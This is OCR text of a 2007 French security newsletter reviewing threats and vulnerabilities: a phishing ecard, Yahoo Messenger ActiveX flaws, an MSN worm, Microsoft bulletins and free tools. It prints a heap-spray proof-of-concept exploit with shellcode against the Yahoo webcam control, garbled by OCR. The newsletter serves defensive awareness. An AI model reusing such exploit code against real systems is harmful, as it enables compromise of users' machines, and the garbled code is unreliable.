iend free ecards from AmericanGreerings.Com with your chotce of colora, words and music.

4 will be avai
uter or take a

© view your ecard, choose from any Of the following options:

the scard nusber in the "View Your Card” box ar hr 14

lopy & pasre tp://68.210.87.149,

ur ecard naber is
“0cael)d7703adb0ibdadd 1asn040casal0

© XMCO Partners - 2007

Tendance de I’activité mali-
cieuse d’Internet :

Prés de 170 bulletins de
veille ont été rédigés par
notre service de veille ce
qui démontre une augmenta-
tion significative de 1l’ac-
tivité malicieuse.

Quelques logiciels comme
Yahoo!Messenger ou les na-
vigateurs IE et Firefox ont
été touché par des failles
de sécurité “0-day”.

C6té Microsoft, 6 bulletins
ont été publiés pour Visio,
IE, Outlook, Vista Mail, le
composant Schannel ou
Win32.

Petite présentation de ces
failles de sécurité et des
menaces du mois...

XMCO Partners

Les hackers joignent de moins en moins les fichiers
vérolés aux emails afin de ne pas éveiller la suspicion
de la victime. lls préferent mettre en place des pages
web qui tentent d’exploiter une faille du navigateur ou
encore de « pusher » un exécutable qui sera souvent
téléchargé par les internautes crédules....

Les messageries instantanées

Aprés les emails, les dangers sont également venus
des messageries instantanées, vecteurs d’attaque a
la mode.

Yahoo Messenger fut, durant quelques jours en proie
a plusieurs vulnérabilités critiques. Ces failles de sé-
curité résultaient d’erreurs présentes au sein des li-
brairies ywcvwr.dll et ywcupl chargées de gérer le
module Webcam du logiciel.

Deux contréles Active X pouvaient étre exploités via

I'utilisation de chaines excessivement longues trans-
mises aux fonctions “Send()” et “Receive()”.

[22]

Ce document est la propriété du cabinet XMCO Partners. Toute reproduction est strictement interdite.



http://www.xmcopartners.com
http://www.xmcopartners.com

L’ACTU SECU

En incitant & visiter une page web judicieusement
congue, le pirate pouvait provoquer un débordement
de tampon et ainsi prendre le contréle du poste affec-
té. Deux preuves de concept (Active X) ont rapide-
ment vu le jour. Le code présenté ci-dessous permet
seulement de lancer la calculatrice.

Quelques jours plus tard, Yahoo a publié la version

CODE..  gom |

<html>
<script>
<object

classid="clsid:DCE2F8B1-A520-11D4-8FD0O-
id='target'

00DOB7730277"
shellcode =
unescape ("%u9090%u9090%u9090%uC929%uE98
$uD9DB%UD9EE%SU2474" +
"SuSBF4%u7381%uA913%ud4A67%u83CCSUFCEBSU
FAE2%u8F55" +
"$uCCOC%u67A9%uB89C1%UEC95%uC936%u66D1S
47A5%u7FEG" +
"Su93C1l%u6689%U2FA1SU2E87%uF8C1%u6622%u
FDA4SUFEG69" +
"$ud8E6%ul369%u0D4DSUBAG63%UOE4BSU9342%U
9871%u638D" +
"SU2F3F%u3822%uCD6E%u0142%uC0C1SUECE2%
DO15%u8CA8" +
"SuD0C1%u6622%u45A1%u43F5%u0F4ESUA798%u
472ESuS57E9" +
"$UuOCCF%u68D1%u8CCl1%UECA5%UD03ASUEC04%u
C422%u6C40" +
"SUCC4ASUECA9SUuF80A%SUulBACSUCC4ASUECASS
F022%ub56F6" +
"SUACBCSU8CFFSuA447%uBFD7%SuBFA8SUFFC1S
46B4%Su30A7" +
"$u2BB5%u8941%u33B5%u0456%uA02B%Su49CASU
B42F%u67CC" +
"SuCC4A%uUDOFE") ;
bigblock = unescape ("%u9090%u9090") ;
headersize = 20;
slackspace =
headersize+shellcode.length
while (bigblock.length<slackspace)
block+=bigblock;
fillblock = bigblock.substring (0,
slackspace) ;
block = bigblock.substring(O0,
bigblock.length-slackspace) ;
while (block.length+slackspace<0x40000)
block = block+block+fillblock;
memory = new Array();
for (x=0; xi<800; x++)
block + shellcode;
var buffer = '\x0a'
while (buffer.length < 5000)
fer+='\x0a\x0a\x0a\x0a';
target.server = buffer;
target.initialize () ;
target.send() ;
</script>

big-

memory[x] =

buf-

© XMCO Partners - 2007
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MSN

Dans un genre différent, un
nouveau ver cible actuelle-
ment les utilisateurs du logi-
ciel MSN. Plusieurs variantes
ont déja été identifiées. Ce
malware baptisé
"IRCBot.ACD" utilise de nom-
breuses langues (anglais al-
lemand, francais, italien...)
afin de piéger ses victimes.

Une fois installé sur le systéme, le virus identifie la
langue utilisée par l'ordinateur infecté pour ensuite
envoyer des messages instantanés aux contacts de
I'utilisateur abusé.

Les messages recus en frangais sont les suivants :
"hey regarde mes tof!! :p"

"ma soeur a voulu que tu regarde ca!"

"j'ai fais pour toi ce photo album tu dois le voire :)"
"tu dois voire ces tof"

"c'est seulement mes tof :p"

En suivant un de ces liens, la victime télécharge alors
une archive zip "myalbum2007.zip" qui est une répli-
que du ver en question.

Le virus ouvre également une porte dérobée qui per-
met au pirate de contréler I'ordinateur infecté (via le
protocole IRC) et devient alors un élément d’'un bot-
net.

Real Player

Le mois dernier Winamp était affecté par un débor-
dement de tampon. C’est maintenant au tour de Real
Player de devenir un des vecteurs d’attaque.

En effet, un probléme lors lors du traitement de fi-
chiers SMIL a été révélé par un chercheur. Un fichier
malformé ouvert avec "Real Player" pouvait alors pro-
voquer un débordement de tampon et permettre a
I'attaquant de compromettre le systéme affecté.

Microsoft
Six failles de sécurité ont été corrigées par Microsoft.
Visio (MS07-030)

Visio a été touché par plusieurs failles de sécurité.
Ces derniéres résultaient d'une mauvaise gestion de
certains numéros de versions et d'objets malformés
contenus dans les fichiers Visio ".VSD", ".VSS" ou
".VST". En incitant un utilisateur a ouvrir un fichier
Visio judicieusement concu, un pirate pouvait exécu-
ter du code malveillant sur le poste de la victime.
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Secure Channel (MS07-031)

Le deuxieme composant incriminé est "Secure Chan-
nel" communément appelé "schannel". Lors d'une
connexion a un serveur nécessitant I'emploi de ces
protocoles, le composant vulnérable ne validait pas
correctement la signature électronique fournie par le
serveur. Un attaquant pouvait donc compromettre un
systéme vulnérable en incitant son utilisateur & visiter
un serveur malicieux préalablement mis en place.

Windows Vista (MS07-032)

Un autre probléme a été corrigé au sein de Windows
Vista. La faille de sécurité provenait d'une mauvaise
gestion des droits d'acceés aux banques d'informations
locales des utilisateurs. En exploitant ce défaut, un
pirate local pouvait découvrir des mots de passe ad-
ministratifs contenus dans le registre et le systéme de
fichiers.

Internet Explorer (MS07-033)

Comme a son habitude, une mise a jour cumulative
pour internet Explorer a été publiée. Cing vulnérabili-
tés ont ainsi été corrigées.

Les problemes résultaient de nombreux défauts d'im-
plémentation au niveau de la gestion des objets COM
et des erreurs du moteur du navigateur.

Un programme malicieux exploitant une de ces vulné-
rabilités est actuellement disponible sur Internet. Cet
exploit se présente sous forme d'une page Web mal-
veillante. Un attaquant peut exécuter des commandes
malicieuses sur un systeme vulnérable en incitant son
utilisateur a visiter cette page Web.

Windows Mail (MS07-034)

Le client de messagerie de Microsoft Vista fut égale-
ment corrigé. La faille provenait d'un mauvais traite-
ment de certaines demandes de navigation UNC (lien
de type "\serveur\partage").

En incitant un utilisateur a suivre un lien contenu dans
un email, un pirate pouvait exécuter un fichier local ou
présent sur un chemin UNC.

Outlook Express 6 (MS07-034)

De son cété, le client mail “Outlook Express” était af-
fecté par plusieurs problémes liés a des erreurs du
gestionnaire de protocole MHTML qui permettaient a
un attaquant de contourner les restrictions de do-
maine dans Internet Explorer. En incitant un utilisateur
a suivre un lien contenu dans un email, un pirate pou-
vait accéder a des informations sensibles transmises
par un autre site.

© XMCO Partners - 2007

API Windows (MS07-035)

Enfin le dernier probléeme concernait I'APlI Win32 de
Windows.Cette anomalie se répercute dans toutes les
applications implémentant les fonctions de I'API tels
qu'lnternet Explorer. Un pirate informatique est donc
en mesure d'exploiter cette faille de sécurité en vue
de compromettre une machine en incitant son utilisa-
teur a visiter une page Web judicieusement congue.

INI0)...

Vista reste encore vulnérable

Depuis la sortie du nouveau systéme
d'exploitation de Microsoft, plu-
sieurs vulnérabilités n'ont toujours
pas été corrigées. En effet, sur 27
failles de sécurité, seules 12 d'en-
tre elles ont fait 1l'objet d'un cor-
rectif. D'ailleurs une vulnérabilité
critique serait toujours présente au
sein du systeme d'exploitation Vista.

A 1l'époque de la sortie de Windows
XP, 36 des 39 bogues avaient été cor-
rigées 6 mois aprés la sortie de
cette version.
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Chaque mois, nous vous pré-
\ sentons les outils 1libres
qui nous paraissent utiles
et pratiques.
Les logiciels abordés sont
variés : utilitaires de
développement, sécurité et
autres programmes utiles,
voir indispensables, au
sein d’une entreprise.
Ce mois-ci, nous avons
choisi de présenter les
logiciels suivants :

(H’I"I s I IBR':S Liste des outils bien utiles :
\ DL .

3

!
{

e DriveImageXML : Logiciel
de clonage de partition

» Yahoo Widget : gadgets
pou Windows

« Memtest : Utilitaire de
test des barrettes mé-

moire
‘ e AVG antirootkit : Exter-
minateur de rootkit.

Vous trouverez a la fin de
cette section un tableau
récapitulatif des versions
de tous les logiciels pré-
sentés lors des précédents
numéros de 1’« Actu-Sécuri-
té ».

© XMCO Partners - 2007 [25]
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Drivelmage XML

Logiciel de clonage

Version actuelle 1.21

Utilité R R,

Type Sauvegarde/Restauration

Description Peu d’outils libres permettent de réaliser une sauvegarde complete

d’une partition. Ghost de Symantec est un des plus populaires mais
d’autres logiciels rivalisent sans faire trop de bruit. Drivelmage XML
permet de cloner l'intégralité du contenu d’un disque dur puis restau-
rer un systéme (victime d’un virus) afin de gagner un temps précieux

sur des systémes ou postes de travail en production.

Une fois réinstallé, votre systéeme sera exactement le méme qu’au
moment ou le cléne a été réalisé : programmes, configuration, don-

nées....

Capture d’écran

DrivelmageXbil = ﬂ.m'

Ble  Jook Help

Check one or mare drives to backup:
Select 0 divve you weah bo Dive | Labe Type | Capacity | % used | Phygscal dive
EC c ACER FAT3Z %4 6B 45 DISHINE
The Backs val cruste e Moa o AZERDATA, FATH2 270 GE I DISHIE
a XML which contans the I':I: .:_P?. ',3-'!'3 A F"’:
il A L O AT FraczE 24 DiEEnae
whith containg the imaged
drree’s bndry dals
Thees fles can be storsad
Iater thisiagh Begrwis of Ragiom

Dirive detalls:

Derva (o Diriver DISED

Label ACER Dirive: e TOEHEA MREIZSGAS

File systerm. | FAT32 Total sectors 117210240

Total saclors: | SE1EIZ24

Partition L

[ | Welcome Used byles: | 137S2H007ES (13 G8) Starl pesier on dive: | 4514755

Free byles: | 14FITEEE0 (14 GE) Sectors in paiion  SETIET240
EE“WD Totsl byles: | PETSSETOEES (37 GE)
Er#| Restore
[] Drive to Drive

| Browse
it B

Marory in ups: 5ITI06

Téléchargement

Drivelmage XML est disponible a I’'adresse suivante :

http://www.runtime.org/dixml.htm

Sécurité de Poutil

Aucune faille de sécurité n’ a été identifiée

Avis XMCO

Drivelmage XML est un des seuls outils performants de ce type.
Simple, intuitif, il dispose d’une interface agréable et séduira la
plupart des utilisateurs. Comme son nom l'indique, les sauvegar-
des sont réalisées au format XML.

Seule ombre au tableau, la création d’'un CD d’amorgage requiert
P'utilisation d’un outil tiers de type BartPE (présenté dans Actu-
Secu n°5)

OPARTNEF
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Yahoo Widget

Dashboard sous Windows

Version actuelle

Uti,ité a o a r a r ‘.| ‘J
Type Utilitaire
Description Marre de voir vos amis ou collégues utiliser Mac OS X et ses fa-

meux widget et son dashboard? Yahoo Widget est fait pour vous. Ce
logiciel installe une barre qui permet d’ajouter de nombreux gadgets
gratuits (trafic routier, cours de la bourse, météo, consommation
CPU de votre ordinateur, horloge, organiseur...) qui embelliront votre
windows XP.

Capture d’écran

Alghachirg Studio Ine.: Facllitation Graghics Librasy: ...
Eistan P, Catmgorms. Crvaties Careraes Lissce. Loarr bire
St By s At  Fuen Worlh Crosirg. Bummerrd b A
B F ke Vo Cooatng. Thorman P M

smp.
Diadge Bal o or of oy o8 i e ted! Aphaching.

ROTCT Does it mean anything 1o Adcom T
Cotegs Dntutae Forums Jaruary 2004 Archore

Mz 13 M
% 19 E

24 25 3 7

Téléechargement

Yahoo Widget et tous les extensions sont disponibles a I’'adresse
suivante :

http://widgets.yahoo.com/

Sécurité de Poutil

Aucune faille de sécurité n’ a été identifiée

Avis XMCO

Les nombreuses tentatives dans le développement de Widgets pour
Windows n’ont jamais fait leurs preuves. Yahoo a enfin réussi a re-
donner un style graphique évolué au systéme d’exploitation de
Microsoft. A la maniere d’'un Mac, vous pourrez afficher les divers
widgets en pressant une touche préalablement définie. Esthétique,
faible consommatieur de ressources CPU et widgets divers font de
Yahoo Widget, la référence en la matiere.

© XMCO Partners - 2007
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Memtest

Test de mémoire RAM

Version actuelle 3.3

Utilité R R,

Type Dépannage

Description Votre ordinateur commence a afficher certains messages d’erreur

peu compréhensibles? Vous avez changer votre disque dur mais le
probleme persiste...Les erreurs sont sirement dies a votre mémoire
RAM, souvent la cause de conflit et d’arrét inopiné de votre ma-
chine. Memtest est disponible sous plusieurs versions (Linux, Win-
dows, bootable) et va réaliser une batterie de tests afin de détermi-
ner si vos barrettes de RAM sont toujours opérationnelles.

Capture d’écran

Memtest-86 v3.2
IMD Athlon 64 A
1 Cache: i H ddress st, own address]

5124 1167M
. Intel i448BX

(ESClexit (clconfiguration (SP)scroll_lock (CR)scroll_unlock

Téléchargement

Memtest est disponible sur Windows et Linux a I'adresse suivante :

http://www.memtest86.com/

Sécurité de Poutil

Aucune faille n’a été publiée a ce jour.

Avis XMCO

Memtest est un utilitaire pratique. Des tests approfondis vont per-
mettre de vérifier la fiabilité et I'intégrité de votre mémoire RAM. La
version bootable est Iégére (2Mo) et l'interface claire et facile a ma-
nipuler.

© XMCO Partners - 2007
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AVG Anti-rootkit

Anti-rootkit

Version actuelle

Utilite

Type Sécurité

Description Les rootkits sont des logiciels qui permettent de dissimuler la pré-
sence de programmes malveillantes (virus, keylogger, cheval de
Troie). Ces rootkits, souvent difficiles a éradiquer, dissimulent les
processus exécutés ce qui évite toute suspicion de la victime. De
nombreux anti-rootkits sont disponibles gratuitement sur les sites
des grands éditeurs. Tous apportent les mémes résultats. AVG se
distingue par son interface simple. Un seul clic suffira pour identifier
les menaces et les supprimer.

Capture d’écran & AVG Anti-Rootkit Bt T

Search lor rootkits Leam mong About & Update

This tood is designed to deted and remove hidden objeds (rootiats ) from your computer

Reotka path Reotiit type

Téléchargement AVG Anti-rootkit est disponible a I'adresse suivante :

http://www.avgfrance.com/doc/products-avg-anti-rootkit/fr/crp/0

Sécurité de Poutil Aucune faille n’a été publiée a ce jour.

Avis XMCO Tous les anti-rootkit du marché sont performants (Panda anti-
rootkit, Mc Afee Avert Labs rootkit Detective beta, Trend Micro
rootkit Buster). Nous avons choisi de présenter AVG Anti-rootkit
car I'antivirus associé (AVG antivirus free) est disponible gratui-
tement ce qui vous permet de bénéficier d’'une suite efficace.

Performant et convivial, AVG détecte rapidement les menaces et
reste simple d'’utilisation

© XMCO Partners - 2007 [29]
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Suivi des versions

Version actuelle des outils libres présentés dans les
numeéros précédents

L’ACTU SECU Juin 2007

DERNIERE VERSION

PARTNERS.COM

Q)

§)

VWWVW XM
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